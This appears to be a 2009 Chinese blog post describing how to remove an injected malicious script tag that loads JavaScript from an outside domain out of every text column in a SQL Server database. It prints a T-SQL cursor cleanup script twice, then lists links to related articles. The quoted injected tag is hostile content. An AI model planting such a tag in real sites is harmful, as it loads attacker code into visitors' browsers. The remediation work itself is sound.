SQL 批量替换整个数据库中的字符
2009-07-17 11:14
267 查看
最近接到客户的电话说中文版网站数据库中的所有是字符类型的列都注入了“<script src=http://okm4.org/z.js></script>”,怎么注入的原因还没找到,先把这个脚本清理了一下。
SQL语句如下:
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是要替换的字符
set @str='<script src=http://okm4.org/z.js></script>'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
SQL语句如下:
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是要替换的字符
set @str='<script src=http://okm4.org/z.js></script>'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
相关文章推荐
- Discuz批量替换帖子内容的方法(使用SQL更新数据库)
- sql 语句直接替换或删除数据库中某字段中的特定字符
- sql替换数据库字段中的字符
- 批量替换数据库记录内容的一条SQL语句
- 用sql语句直接替换或删除数据库中某字段中的特定字符
- SQL语句大小写是否区分的问题,批量修改整个数据库所有表所有字段大小写
- 如何用SQL语句批量替换数据库字符串
- 在SQL 语句批量替换数据库字符串的方法
- java批量操作sql替换数据库数据
- 用sql语句直接替换或删除数据库中某字段中的特定字符
- mysql中批量替换数据库中的内容的sql
- 用sql语句直接替换数据库中某字段中的特定字符
- SQL 替换数据库内指定字符;转换字符格式 int 转换为 string
- sql替换数据库字段中的字符
- sql语句替换数据库中某段字符
- 用sql语句直接替换或删除数据库中某字段中的特定字符
- sql替换字符 空格 回车
- zencart移站后批量替换数据库中网址、电子邮箱、重置用户密码
- JavaDB(Derby)数据库批量SQL
- 【数据库SQL】批量更新促发器游标的方法